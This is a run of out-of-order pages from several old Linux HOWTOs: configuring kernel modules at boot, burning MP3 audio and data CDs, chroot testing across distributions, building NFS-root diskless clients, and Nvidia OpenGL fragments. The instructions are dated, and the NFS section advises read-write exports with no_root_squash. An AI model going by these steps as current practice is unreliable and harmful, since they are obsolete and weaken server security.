The Debian and RedHat distributions have identical boot procedures, so also have identical procedures for configuring modules into them.

  1. Having logged in as root, use your favourite text editor to create a new file called /etc/rc.d/init.d/modules.init with the following contents therein:

    # Modules initialisation.
#
# Start up the module auto-loading daemon.
/sbin/kerneld

# Mount all currently unmounted auto-mounted partitions.
/sbin/mount -a

  2. Having created the above file, perform the following steps whilst logged on as root:

    cd /etc/rc.d
chmod 755 init.d/*
cd rc3.d
ln -s ../init.d/modules.init 05modules.init

The system can now be rebooted, and on doing so, it will be found that modules are fully implemented

5.2. Configuring Slackware for Modules

Prior to carrying out the steps listed here, the steps listed in "Recompiling the Kernel for Modules" are assumed to have been carried out.

The file /etc/rc.d/rc.M needs to be edited as follows:

  1. Around line 18, there is a section reading as follows:

    # Screen blanks after 15 minutes idle time.
/bin/setterm -blank 15

    Immediately after this, insert the following paragraph, with the usual blank lines either side of it:

    # Load the kernel module auto-loader.
/sbin/kerneld

  2. About 12 lines further down is the following:

    # if there is no /etc/HOSTNAME, fall back on this default:

    Immediately prior to this, insert the following paragraph, again with the usual blank lines either side of it:

    # Mount remaining unmounted auto-mount drives.
/sbin/mount -a

When those changes have been made, save the file.

No further modifications are required for Slackware.

5.3. Configuring Other Distributions for Modules

Prior to carrying out the steps listed here, the steps listed in "Recompiling the Kernel for Modules" are assumed to have been carried out.

The precise procedure for other distributions has not been ascertained, but is probably one of the above. To determine which one, display a directory of the contents of the /etc/rc.d directory, as follows:

cd /etc/rc.d
ls -l *.d rc.*

From this resulting display, you can select one of the following three options:

  1. If this list includes a directory named init.d and some directories with names matching rc?.d where the question mark is replaced by single digits, and does NOT include a file with the name rc.M, that distribution can be configured for modules by following the procedure listed under the title "Configuring Debian or RedHat for Modules".

  2. If this list does not include a directory named init.d but includes a file named rc.M then that distribution can be configured for modules by following the procedure listed under the title "Configuring Slackware for Modules".

  3. If this list matches neither of the above criteria, then the distribution has a boot script not covered by this HowTo. In that case, you are invited to contact the author of this document for advice.

Prev | Home
Compiler Speed-up |


Purpose of this Document

Linux Kernel Modules Installation HOWTO
Prev Next

1. Purpose of this Document

My experience with Linux and modules has been that the existing documents fail to provide a satisfactory explanation as to how to successfully set up Linux with modules configured and working. The procedure explained in this document has been successfully used several times, both on my own system and over the Internet to give directions to somebody trying to get some feature to work which requires a driver supplied only in module form.

My own system runs from a RedHat 4.1 distribution of Linux, and it was on this setup that I developed the procedure. I have since successfully installed it on systems running from various Slackware distributions, and on one system running from a Debian distribution, and the necessary procedure to correctly configure modules under Linux in all three is documented herein.

Warning

I have recently used the same procedure with RedHat 4.2, but with inconsistent results on apparently identical systems. I have not yet determined what the problem is, so can make no guarantees at this stage as to whether or not it will work on your system.

This document is distributed under the terms of the GNU Free Documentation License. You should have received a copy along with it. If not, it is available from http://www.fsf.org/licenses/fdl.html.

Prev | Home | Next
Linux Kernel Modules Installation HOWTO |  | Pre-requisites


Pre-requisites

Linux Kernel Modules Installation HOWTO
Prev Next

2. Pre-requisites

  • Before the steps in this document can be applied, the reader must have a working Linux installation in which one can get to the Linux prompt as user root since the majority of the steps involved can only be undertaken by the said user.

  • The existing kernel may be compiled either to use modules or not to use modules, and can even display error messages during the boot-up procedure as a result of modules being configured which aren't available at the moment, providing the above condition is met.

  • The source tree for the current kernel is assumed to be found rooted at /usr/src/linux and that is also assumed to be the current directory throughout this document at the start of any sequence of commands to be issued.

Prev | Home | Next
Purpose of this Document |  | Compiler Speed-up


Compiler Speed-up

Linux Kernel Modules Installation HOWTO
Prev Next

3. Compiler Speed-up

If your machine has 16 or more Megabytes of RAM, there is a useful speed-up that can be done, which is to permit the kernel to compile two or modules in parallel. This will increase the load on the machine whilst the kernel is being recompiled, but will reduce the time during which the compilation will be taking place.

Before you can use this method, you need to check the amount of RAM present in your machine, as if you set this too high, the compilation will actually slow down. Experience has shown that the optimum value depends on the amount of RAM in your system according to the following formula, at least for systems with up to 32 Megabytes of RAM, although it may be a little conservative for systems with larger amounts of RAM:

N = [RAM in Megabytes] / 8 + 1

For the benefit of those with a dislike of math, the values for the common amounts of RAM are as follows:

Table 1. Sample Table

RAM Size | Value to Use
16 Megs | 3
24 Megs | 4
32 Megs | 5
40 Megs | 6
48 Megs | 7
56 Megs | 8
64 Megs | 9
80 Megs | 11
96 Megs | 13
112 Megs | 15
128 Megs | 17

When you have decided on the correct number, edit the file /usr/src/linux/Makefile and find the line that currently reads:

MAKE=make

Replace it with one reading:

MAKE=make -j N

where N is the number determined above.

Prev | Home | Next
Pre-requisites |  | Recompiling the Kernel for Modules


Audio CDs

Linux MP3 CD Burning mini-HOWTO
Prev Next

2. Audio CDs

2.1. Preparing the Tracks

Note | Note
 | All commands assume bash shell

  1. Collect all MP3 files in one directory.

  2. If your MP3 files came from DOS/Windows, they may have uppercase extensions. You can convert whole names to lowercase or just extensions. For everything lowercase do:

         for i in *.[Mm][Pp]3; do mv "$i" `echo $i | tr '[A-Z]' '[a-z]'`; done

    to convert just extensions:

         for i in *.MP3; do mv "$i" "`basename "$i" .MP3`.mp3"; done

  3. If any filenames contain spaces, first convert them to underscores:

         for i in *.mp3; do mv "$i" `echo $i | tr ' ' '_'`; done

  4. Convert them to WAV with the command:

         for i in *.mp3; do mpg123 -w `basename $i .mp3`.wav $i; done

    When decoding 22khz MP3 files the output of mpg123 may be distorted. To fix this, use:

         for i in *.mp3; do mpg123 --rate 44100 --stereo --buffer 3072 --resync -w `basename $i .mp3`.wav $i; done

    Mpg123 should be present in any Linux distribution, but if you don't have it, get it at http://www.mpg123.de/.

    NOTE I noticed that with some MP3 files mpg123 output was distorted. At first I thought that MP3's were bad, but then I checked with another player and they sounded OK. So I searched for another MP3 player that could write WAV files to disk, and found this one: MAD mp3 decoder at http://www.mars.org/home/rob/proj/mpeg/. With madplayer, the command line is:

         for i in *.mp3; do madplay -o `basename $i .mp3`.wav $i; done

    There is yet another way to do the conversion. Some MP3 files apparently give both mpg123 and madplay trouble with decoding. The lame encoder, which has a decoding mode, seems to handle difficult cases very well (lame can be found at http://www.mp3dev.org/mp3/) :

         for i in *.mp3; do lame --decode $i `basename $i .mp3`.wav; done

    NOTE: The `basename $i .mp3`.wav command replaces MP3 extensions with WAV. There are 101 ways to do that, here's the alternative: `echo "$1" | sed 's/\.mp3$/.wav/'`

  5. Run "file *.wav" and check the output for any files different from 16 bit, stereo 44100 Hz.

  6. If there are files with different characteristics, convert them to the above specs. For example, to convert file track01.wav to obtain sample rate 44.1 kHz, you could use:

         sox track01.wav -r 44100 track01-new.wav resample

    or, if the above introduces static when converting mono files:

         sox track01.wav -r 44100 -c 2 track01-new.wav

    Sox is so popular, that it's probably installed by default with any Linux distribution, and can be obtained from http://www.spies.com/Sox/. However, the command-line options are somewhat cryptic for the casual user (me). Look at http://www.spies.com/Sox/sox.tips.html for some tips on usage.

  7. Normalize your WAV files, to avoid drastic differences in volume levels. I use a program by Chris Vaill (<cvaill@cs.columbia.edu>), called normalize - it can be obtained from http://www.cs.columbia.edu/~cvaill/normalize/

    I use the following syntax (-m is for mix mode, where all files should be as loud as possible):

         normalize -m *.wav

2.2. Burning Your CD

There are many programs to create CDs from WAV files. I use cdrecord for command-line burning and XCDROAST for gui. For cdrecord, you have to know what SCSI device your CD-writer is. If you're using ATAPI writer, use SCSI emulation (kernel module ide-scsi). Let's assume, that your ATAPI cdwriter is on the second IDE bus as a master. Thus, it will have /dev/hdc device file. To instruct the kernel that you want to treat it as a SCSI device, add the following line to /etc/lilo.conf:

     append=" hdc=ide-scsi"

Also, if your kernel doesn't automatically load ide-scsi module, add insmod ide-scsi into your rc.local (or equivalent) file. Once you have our CD-writer recognized as a SCSI device, run cdrecord --scanbus to find out what's the "dev" parameter to cdrecord. On my system, the output looks like the following:

     scsibus1:
     1,0,0 100) 'IOMEGA ' 'ZIP 250 ' '51.G' Removable Disk
     1,1,0 101) 'HP ' 'CD-Writer+ 7100 ' '3.01' Removable CD-ROM

So, the cdrecord command line will contain dev=1,1,0 to specify the device. Here is the complete command on my system:

     cdrecord dev=1,1,0 -eject speed=2 -pad -audio *.wav

Note | NOTE
 | The -pad argument is neccessary, because all audio tracks on the CD must be adjusted for the proper data length, which is not always the case with mp3 files.

2.3. Burning a DAO CD

DAO, Disc-At-Once, is as of now the only method for burning a CD without a 2-second pause between the tracks. It's useful for burning party mixes. The program for burning CDs in DAO mode is cdrdao, available from SourceForge, http://sourceforge.net/projects/cdrdao/.

The cdrdao program uses description files called TOC (Table Of Contents, of course). There are two ways to create such file. First is to use a shell script, distributed with cdrdao source (in contrib directory, called generate_toc.sh. It takes a list of .wav files as an argument and produces a cd.toc file. Second way is to simply create such file yourself in a text editor of your choice. Here is a self-explanatory example:

CD_DA

TRACK AUDIO
AUDIOFILE "mix-01.wav" 0

TRACK AUDIO
AUDIOFILE "mix-02.wav" 0

TRACK AUDIO
AUDIOFILE "mix-03.wav" 0

TRACK AUDIO
AUDIOFILE "mix-04.wav" 0

TRACK AUDIO
AUDIOFILE "mix-05.wav" 0

The 0 (zero) after the wave filename means start from the beginning of the file. There can be a second number providing the length (time) of file to record. The xcdroast creates similar TOC files, there are also examples in testtocs directory of cdrdao source.

The cdrdao by default uses the device /dev/cdrecorder, which should be a link to the cdwriter device. Assuming your cd recorder device file is /dev/scd0, create the link (as root) as follows:

ln -s /dev/scd0 /dev/cdrecorder

Then, assuming that the TOC file is named cd.toc the command to burn the cd is simply:

cdrdao write cd.toc

2.4. Software

There are some programs available, that can automate the process of creating CDs from MP3 files. Here is arbitrarily selected list:

  • burnmp3 - Program to automate burning with DAO method. http://richardsnow.bizland.com/burnmp3/.

  • mp32dao - a script from cdrdao distribution, in the contrib directory. http://cdrdao.sourceforge.net/.

Prev | Home | Next
Introduction |  | Data CDs


Credits

Linux MP3 CD Burning mini-HOWTO
Prev

4. Credits

Special thanks to all the people who contribute to the Linux community and who made this HOWTO possible.

4.1. Translations

  • Im Eunjea - Translated this document to Korean, URL is http://kltp.kldp.org/eunjea/mp3_burning/.

  • Mendel L Chan - Translated this document to Chinese, URL is http://www.linux.org.tw/CLDP/mini/MP3-CD-Burning/.

  • Chie Nakatani - Translated this document to Japanese, URL is http://www.linux.or.jp/JF/JFdocs/MP3-CD-Burning/index.html.

4.2. Other Credits

  • Greg Ferguson - Initially converted this document from HTML to SGML.

  • Rob Russell - Corrected my name conversion example.

  • Terry Davis - Suggested submitting my HOWTO to linuxdoc.

  • Chris Vaill - Created normalize program.

  • Jamie Kellogg - Submitted a solution to decode with lame for troublesome files.

  • Tom Panning - Submitted a tip for the conversion of mono files with sox.

  • Adam Buckley - Submitted an idea about files with uppercase extension.

  • Ilia Lobsanov - Submitted options for mpg123 decoding 22kHz files.

Prev | Home
Data CDs |


Data CDs

Linux MP3 CD Burning mini-HOWTO
Prev Next

3. Data CDs

Note | Note
 | This section is a work in progress, you're looking at initial, very sparse version.

With increasing popularity of CD/MP3 players burning data CDs for listening purposes become practical. The advantage is definitely being able to squeeze ten times more music onto one CD (a very approximate figure). As far as MP3 data CD-s, they're just a regular, standard data CD's (ISO9660) with MP3 music as regular files. All MP3-CD players I know accept CD-s with directories in them, and I usually burn CD with Joliet extension and they work just fine. So to burn such a CD under linux, you first need to create an ISO image an then burn it on the CD as in the example below:

mkisofs -J -o /tmp/mymp3s.iso /home/greg/mp3s/
cdrecord dev=1,0,0 speed=16 /tmp/mymp3s.iso

That's it!

I have yet to research ability to normalize mp3 files directly - however I believe it always involves decompressing, normalization and then re-compressing the file, which introduces quality loss. Stay tuned!

Prev | Home | Next
Audio CDs |  | Credits


Linux MP3 CD Burning mini-HOWTO

Greg Wierzchowski

greg@draxen.org

2001-05-29

Revision History
Revision 2.0 | 2002-04-26 | Revised by: GW
Divided into two sections: existing material to section "audio", new section "data" on data CDs. Misc. additions.
Revision 1.5 | 2001-11-19 | Revised by: GW
Fixed omission in Disc-At-Once burning section.
Revision 1.4 | 2001-11-17 | Revised by: GW
Added Disc-At-Once burning section.
Revision 1.3 | 2001-09-02 | Revised by: GW
Added another example of decoding MP3 files with lame.
Revision 1.2 | 2001-07-12 | Revised by: GW
Minor layout changes; Added Translations subsection into Credits.
Revision 1.1 | 2001-06-12 | Revised by: GW
Minor cleanup; Regexp fix for MP3 to WAV name conversion example.
Revision 1.0 | 2001-05-29 | Revised by: GW
Initial Release.

A complete recipe for creating audio and data CDs from MP3 files.

Table of Contents
1. Introduction
1.1. Copyright and License
2. Audio CDs
2.1. Preparing the Tracks
2.2. Burning Your CD
2.3. Burning a DAO CD
2.4. Software
3. Data CDs
4. Credits
4.1. Translations
4.2. Other Credits
Next
Introduction


Introduction

Linux MP3 CD Burning mini-HOWTO
Prev Next

1. Introduction

This mini-HOWTO was created because of my experience with burning music CDs and lack of some specific information about sound normalization on the Internet. I usually burn music CDs as a mix - different songs from different sources.Very often volume level between songs varies greatly. This is the first obstacle. Second, many of the files on the Internet are not CD-compatible (16 bit, stereo, 44.1 kHz) and have to be converted. There are many programs to burn music CDs from MP3 files, and many of them do the conversion transparently. But I haven't seen a single tool that also normalizes the volume, so that's why I worked out my own CD-burning recipe.

This HOWTO is just about one thing - putting MP3 music on a CD, so that you can listen to it. For in-depth information about MP3 files, please look at The Linux MP3 HOWTO by Phil Kerr, located at http://www.tldp.org/HOWTO/MP3-HOWTO.html. For information about CD creation in general as well as CD burners, refer to CD-Writing-HOWTO by Winfried Trümper, available at http://www.tldp.org/HOWTO/CD-Writing-HOWTO.html.

I'm assuming you wish to burn a CD with the collection of songs you obtained from different sources, all varying quality, but you want to get the best-sounding CD possible. This mini-HOWTO outlines the steps that may help you.

1.1. Copyright and License

This document is copyright 2001 by Greg Wierzchowski and is released under the terms of the GNU Free Documentation License, which is hereby incorporated by reference. Send feedback to greg.wierzchowski@usa.net.

Prev | Home | Next
Linux MP3 CD Burning mini-HOWTO |  | Audio CDs


Credits

Development for Multiple Linux Distributions mini-HOWTO
Prev

4. Credits

The ideas contained in this mini-HOWTO are not mine. They are culled from posts by Ben Reed (of OpenNMS ) to one of the TriLUG mailing lists. I found the information to be so useful that I wanted to document the idea for others.

Prev | Home
Using the Secondary Distributions |


Development for Multiple Linux Distributions mini-HOWTO

Ed Hill

<ed@eh3.com>

2001-12-03

Revision History
Revision 0.9 2001-12-03 Revised by: EH3
Initial version.

This document outlines a quick hack to aid in developing and testing user-space programs for multiple Linux distributions.

Table of Contents
1. Introduction
1.1. Copyright and License
2. Setup
3. Using the Secondary Distributions
4. Credits
Next
Introduction


Introduction

Development for Multiple Linux Distributions mini-HOWTO
Prev Next

1. Introduction

As a developer, there is occasionally a need to code and/or test programs on multiple Linux distributions. This mini-howto outlines a neat chroot trick that can, in many cases, obviate the need to reboot into different Linux distributions to do testing or development.

In a nutshell, the "trick" is to place all the files from a particular linux distribution into a single directory and then chroot into that directory to develop/test/debug your program. This approach will work provided that:

  1. The kernel version of the "main" or "primary" distribution that you are running is (at least somewhat) compatible with the "secondary" or chroot'ed distributions, and

  2. Your application is primarily user-space (ie. no kernel modules) and does not depend intimately on any particular kernel features (ie. /proc behavior).

1.1. Copyright and License

This document is copyright 2001 by Ed Hill III. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is available at http://www.gnu.org/copyleft/fdl.html.

Prev | Home | Next
Development for Multiple Linux Distributions mini-HOWTO |  | Setup


Setup

Development for Multiple Linux Distributions mini-HOWTO
Prev Next

2. Setup

We assume that you already have:

  1. One "main" or "primary" Linux distribution installed that is running a 2.4-series or newer kernel,

  2. a free partition with 2--4Gigs available, and

  3. sufficient disk space for the secondary installs (and any subsequent development/testing work).

Given those assumptions, the following outline is one way to setup the multiple secondary Linux distributions that will be used for development, testing, or other purposes:

  1. First, create or locate an unused partition on one of your hard drives that is large enough (usually 2--4Gb is sufficient) to do a basic install of one of the secondary Linux distributions.

  2. Install the secondary distro into this partition but do not add it to your boot configuration. Note that this install need only include the packages that your target application (or tests) require. For instance, you may be able to ignore applications such as the X server or other space-hogs.

  3. Reboot your primary Linux distribution and mount the partition containing the freshly-installed "secondary" distro. Copy (preferably using tar -cp or some other method that preserves permissions) all the files from the secondary distro to a location such as /opt/distros/DISTRO_NAME.

  4. Repeat steps 2--3 for any additional distributions that you wish to install. The result should be a directory structure resembling:

    /opt/distros/redhat_6.2/
             suse_7.2/
             mandrake_8.1/
             debian-potato/
             slackware_8.0/

    where each directory contains the complete set of files resulting from each distribution install.

Prev | Home | Next
Introduction |  | Using the Secondary Distributions


Using the Secondary Distributions

Development for Multiple Linux Distributions mini-HOWTO
Prev Next

3. Using the Secondary Distributions

With the secondary distributions installed, the steps to use them are:

  1. It is important to use a 2.4-series or newer Linux kernel in the "primary" Linux distribution in order to take advantage of the multiple mount points feature that the 2.4-series permits. For many tasks, the /proc filesystem will have to be remounted in the secondary distribution using:
    mount --bind /proc /opt/distros/redhat_6.2/proc

  2. Also, it can be helpful to remount (rather than copy) the source tree from the primary to the secondary distro:
    mount --bind /home/USER/src/PROJECT /opt/distros/redhat_6.2/USER/src/PROJECT

  3. Become root and use:
    chroot /opt/distros/redhat_6.2 /bin/bash
    to obtain a shell with one of the secondary distros.

  4. Finally, create a user (if necessary) within the chroot-ed shell and develop, build, and/or test your application within this "separate" Linux distribution!

Done! You now have a shell that is, for all practical purposes, running within the secondary Linux distribution of your choice.

Prev | Home | Next
Setup |  | Credits


Creating the client's root directory

NFS-Root-Client Mini-HOWTO
Prev Next

3. Creating the client's root directory

3.1. Creating the directory tree

First of all, you need to create the directory structure itself. I created all the clients under /clients/hostname and I will use it for my examples listed below. This, however, can be changed to anything else. The first stage, then, is to create the relevant directories in the root directory. You should create the following directories:

bin , dev , etc , home , lib , mnt , proc , sbin , server , tmp , usr , var

and any other directories you might want to have on your system.

The local, proc, and dev directories will be used separately on each machine while the rest of the directories will be either partly or completely shared with the rest of the clients.

3.2. Creating the minimal file system needed for boot

3.2.1. Creating the dev dir.

Although the dev dir can be shared, it is better to create a separate one for each client. You can create your client's dev directory with the appropriate MAKEDEV scripts, however in most cases it is simpler just to copy it from the server:

bash# cp -a /dev /clients/hostname

You should keep in mind that /dev/mouse, /dev/cdrom and /dev/modem are symbolic links to actually devices, and therefore you should be sure that they are linked correctly to fit the client's hardware.

3.2.2. Copying the necessary binaries.

Although we mount everything from the server, there is a minimum that we need to copy to each client. First of all, we need "init", our system will not be able to run anything before init'ing (as the author found out in the hard way ;-). So first, you should copy /sbin/init to your client's sbin dir and then so that rc.S will run, you should copy /bin/sh to the client's bin directory. Also, in order to mount everything you need to copy /sbin/mount to the client's sbin directory. This is the minimum, assuming the first line in your rc.S is mount -av. However, I recommend copying a few more files: update, ls, rm, cp and umount, so that you will have the basic tools in case the client has problems mounting. If you choose to leave your swap on line before mount, you should also copy the swapon binary.

Since most of these binaries are by default dynamically linked, you will also need to copy a fair part of /lib:

bash# cp -a /lib/ld* /lib/libc.* /lib/libcursses.* /client/hostname/lib

Hardlinking the binaries themselves, instead of copying them, should be considered. Please read my comments on this in Section 2.1 of this Howto.

Please notice, all of the information above assumes that the kernel has been given the network parameters while booting up. If you plan to use rarp or bootp, you will probably need the relevant binaries for these as well.

Generally, you will need the minimum of files that will enable you to configure the network and run rc.S up to the point where it mounts the rest of the file system. Make sure you looked into your /etc/init and rc.S files, making sure there are no "surprises" in any of them, which will require other files to be accessed, before the first mount will take place. If you do, however, find such files, you can either copy them as well, or remove the relevant parts from your init and your rc.S files.

3.2.3. The var directory

The var directory, in most cases, should be separate for each client. However, a lot of the data can be shared. Create under the server directory a directory called var. We will mount the server's var directory there. To create the local var directory, simply type:

bash# cp -a /var /clients/hostname/

Now, you have a choice as to what you want to separate, and what you want to share. Any directory/file that you want to share, simply remove it from the client's var dir, and symlink it to the /server/var/ directory. However please note that you should either symlink it to /server/var or to ../server/var but NOT to /clients/hostname/server/var as this will not work when the root changes.

Generally, I would recommend separating /var/run, /var/lock, /var/spool, and /var/log.

3.2.4. The rest of the directories

  • etc is explained thoroughly in the next section.

  • mnt and proc are for local purposes.

  • usr and home are merely mount points.

  • tmp is up to you. You can create a different tmp directory for each client, or create some /clients/tmp directories, and mount it for each client under /tmp. I would recommend that you provide each client with a separate tmp directory.

3.3. Building the etc directory and configuring the clients

Please Note -

Note: this section refers to building the etc directory which is mostly shared among the clients. If your diskless clients have separate system administrators, it's best to set up for each client a separate etc directory.

3.3.1. Building a clients wide etc directory

3.3.2. Creating a client's etc directory

Although we separate the etc directories of the clients, we still want to share a large portion of the files there. Generally, I think sharing the etc files with the server's /etc is a bad idea, and therefore I recommend creating a /clients/etc directory, which will hold the information needed for the clients. To start with, simply copy the contents of the server's etc to the /clients/etc directory.

You should add to this directory all of the non-machine-specific configuration files, for instance motd, issue, etc. and not the clientspecific ones.(i.e. inittab or fstab)

The most important changes will be in your rc.d directory. First, you should change rc.inet1 to be suitable for your local setup. I pass all my network parameters to the kernel through the LILO/Loadlin, therefore I remove almost everything from rc.inet1 file. The only thing I leave there is the ifconfig and route of the localhost. If you use rarp or bootp, you will have to build it accordingly.

Secondly, you should edit your rc.S. First, remove all the parts that are responsible for the fsck check as fsck will occur when the server boots up. Then, you should find the line that mounts your fstab. This should look something like:

mount -avt nonfs

The -t nonfs is there since normal clients first run rc.S and only later on use rc.inet1 to configure the Ethernet. As this will cause no NFS partitions to be mounted this line should be deleted. Therefore, change it to mount -av. If you need to run rarp/bootp to configure your network, do it in rc.S (or call the appropriate script from rc.S), before the mount, and make sure your physical bin and sbin directories have the necessary files available.

After the mount -av is performed, you will have a working file system. Build a general fstab, so that you can later copy it to each client. Your fstab should look something like this:

Table 1. fstab

server:/clients/hostname | / | nfs | default | 1 | 1
server:/bin | /bin | nfs | default | 1 | 1
server:/usr | /usr | nfs | default | 1 | 1
server:/sbin | /sbin | nfs | default | 1 | 1
erver:/home | /home | nfs | default | 1 | 1
server:/lib | /lib | nfs | default | 1 | 1
server:/clients/etc | /server/etc | nfs | default | 1 | 1
server:/clients/var | /server/var | nfs | default | 1 | 1
none | /proc | proc | default | 1 | 1

Please notice, that the keyword default might not work on all versions of mount. You might change it to rw or ro or remove all of the default 1 1 part.

Also, make sure your server's /etc/exports looks like this:

Table 2. /etc/exports

/clients/hostname | hostname.domainname(rw,no_root_squash)
/clients/etc | hostname.domainname(ro,no_root_squash)
/clients/var | hostname.domainname(ro,no_root_squash)
/usr | hostname.domainname(ro,no_root_squash)
/sbin | hostname.domainname(ro,no_root_squash)
/bin | hostname.domainname(ro,no_root_squash)
/lib | hostname.domainname(ro,no_root_squash)
/home | hostname.domainname(rw,no_root_squash)

Other than the first line, which should be separate for each host, the rest of the lines can be replaced with a hostmask to fit all your hosts (like pc*.domain - keep in mind though, that * will substitue only strings without a dot in them). I suggest that you make most of the directories read only, but this is up to you. The no_root_squash will make sure root users on the clients have actual root permissions on the nfsd as well. Check out man exports(5). If you want users to be able to run passwd from the clients also, make sure the /etc has rw and not ro permissions. However, this is not advisable.

Please note another thing concerning the rc.S file. In Slackware, by default, it creates a new /etc/issue and /etc/motd every time it runs. This function MUST be disabled if these files are mounted ro from the server, and I would recommend that they should be disabled in any case.

Lastly, if you want to have the same userbase on the server as on the clients, you should choose between 1), using NIS (Yellow Pages - check the yp-howto), and then each client will have a separate /etc/passwd and /etc/group as it receives it from the NIS server. 2) In most cases, a simple symbolic link will suffice. Therefore, you will need to either hardlink /clients/etc/passwd to /etc/passwd, or if you prefer a symlink, link /etc/passwd to /clients/etc/passwd (and not the other way around, since the clients do not mount the server's etc directory). Do the same for /etc/group.

3.3.3. Creating a client's etc directory

Generally, most of the files in the client's etc should be symlinked to the /server/etc directory. However, some files are different for each machine, and some just have to be there when the kernel loads. The minimum you need from the etc dir is as follows:

resolv.conf
hosts
inittab
rc.d/rc.S
fstab

Since these 5 files can be identical on all clients, you can simply hardlink them or copy them again. However, with the rc.S and fstab file it is advised to keep a separate copy for each client. You will also need a separate etc/HOSTNAME for each client. I personally recommend having all of the rc.d files separate for each client, as configuration and hardware might vary from one to another.

For each client, add to the fstab the proper swap line:

Table 3. fstab

/dev/swap_partition swap swap default 1 1

The rest of the /etc files of the client, you can either hardlink to the /clients/etc/* files, or symlink them to the /server/etc (which is the mount point of /clients/etc/).

Make sure your machine can resolve properly, either through a named or through etc/hosts. It is not a bad idea to keep the server's IP in the etc/hosts, instead of counting on resolving. If you will count only on named resolving, a problem in the named will prevent your clients from booting up.

3.4. Booting Up

Now, all you have to do is to boot up your machine, cross your fingers and hope everything works as it should :-).

Prev | Home | Next
Preface |  | Creating more clients


NFS-Root-Client Mini-HOWTO

Ofer Maor

v4.1, 02 Feb, 1999

Revision History
Revision 4.1 Feb 02, 1999 Revised by: mo

The purpose of this Mini-Howto is to explain how to create client root directories on a server that is using NFS Root mounted clients.

Table of Contents
1. Copyright
1.1. Thanks
2. Preface
2.1. General Overview
3. Creating the client's root directory
3.1. Creating the directory tree
3.2. Creating the minimal file system needed for boot
3.3. Building the etc directory and configuring the clients
3.4. Booting Up
4. Creating more clients

1. Copyright

(c) 1996 Ofer Maor (<oferm@hcs.co.il>)

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have questions, please contact Ofer Maor (<oferm@hcs.co.il>), the author of this mini-HOWTO, or Greg Hankins, the Linux HOWTO coordinator, at <gregh@sunsite.unc.edu> via email, or at +1 404 853 9989.

If you have anything to add to this Mini-Howto, please mail the author (Ofer Maor, <oferm@hcs.co.il>), with the information. Any new relevant information would be appreciated.

1.1. Thanks

I would like to express my thanks to the author of the NFS-Root Howto, Andreas Kostyrca (<andreas@medman.ag.or.at>). His Mini-Howto helped me with the first steps in creating a NFS Root Mounted client. My Mini-Howto does not, in any way, try to replace his work, but to enhance it using my experiences in this process.

I would also like to thank Mark Kushinsky (<mark026@ibm.net>) for polishing the english and spelling of this Howto, thus making it much more readable.

Next
Preface


Creating more clients

NFS-Root-Client Mini-HOWTO
Prev

4. Creating more clients

If you have followed my instructions so far this should be simple - cd to /clients/ and type:

bash# cp -a hostname1 hostname2

and then make sure you check these points:

  • rc.d/* files matches the hardware and wanted software configuration

  • etc/HOSTNAME is correct

  • fstab's swap line is correct

  • the symbolic links of dev/mouse, dev/modem and dev/cdromare right.

Good Luck....

Prev | Home
Creating the client's root directory |


Preface

NFS-Root-Client Mini-HOWTO
Prev Next

2. Preface

This Mini-Howto was written in order to help people who want to use NFS Root mounting to create their client's directories. Please note that there are many ways to accomplish this, depending on your needs and intent. If the clients are individual, and each client has its own users and administrator, it will be necessary to make significant parts of the client dirs not shared with other clients. On the other hand, if the client is intended for multiple users, and are all administrated by the same person (for instance, a computerclass), make as many files as possible shareable in order to make administration more manageable. This Howto will focus on the second issue.

2.1. General Overview

When building a client's root directory, and trying to limit ourselves to the minimum client size, we mainly focus on which files we can share, or mount from the server. In this Howto I will recommend the configuration of a client based on my experience. But beforewe begin please note:

  • This Mini-Howto does not explain how to do the actual NFS Root mounting. Refer to the NFS-Root Mini-Howto if you need more information about that issue.

  • I based most of my client's configuration on mounts and symbolic links. A lot of those symbolic links can be replaced by hardlinks. One should choose according to his personal preference. Putting a hardlink over a mount and a symbolic link has its advantages, but might cause confusion. A file will not be erased until all its hardlinks are removed. Thus, In order to prevent a case in which you upgrade a certain file, and the hardlinks still refer to the older version, you will have to be very careful and keep track of every link you put.

  • While mounting the information from the server, two concepts can be used. The first (most common) concept, is to mount the whole server root directory under a local directory, and then just change the path or link the relevant directories there. I personally dislike mounting root partitions of a server on clients. Thus, this Howto suggests a way to mount the relevant directories of the server to the relevant places on the system.

  • This Howto is based on my experience building client directories on a Slackware 3.1 based distribution. Things may be different (especially on the rc.* files), for other users, however the concepts should still remain the same.

Prev | Home | Next
NFS-Root-Client Mini-HOWTO |  | Creating the client's root directory


Contributors

I thank the following contributors for their input into this document:

  • Jan De Luyck (jandeluyck at gmx.net) -- Provided information about tweaking os-registry.c to change AGP settings and how to monitor the nv settings with cat /proc/nv/card0. Thanks !

Prev | Home | Next
Disclaimer |  | Introduction


Copyright and Licenses

Copyright (c) 2001, 2002 Robert B. Easter. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".

Prev | Home | Next
New Versions of this Document |  | Disclaimer


Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk.

All copyrights are held by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

Prev | Home | Next
Copyright and Licenses |  | Contributors


Download the software packages

Nvidia OpenGL Configuration mini-HOWTO
Prev Next

Chapter 2. Download the software packages

Table of Contents
2.1. Linux Kernel >= 2.2.12 Required
2.2. XFree86 4.0 or later
2.3. OpenGL man pages
2.4. Mesa 3D
2.5. Qt
2.6. NVIDIA drivers (Mesa libGL replacement)
2.7. Java 2 SDK, Java 3D extension, and Java PlugIn for Netscape (optional)
Prev | Home | Next
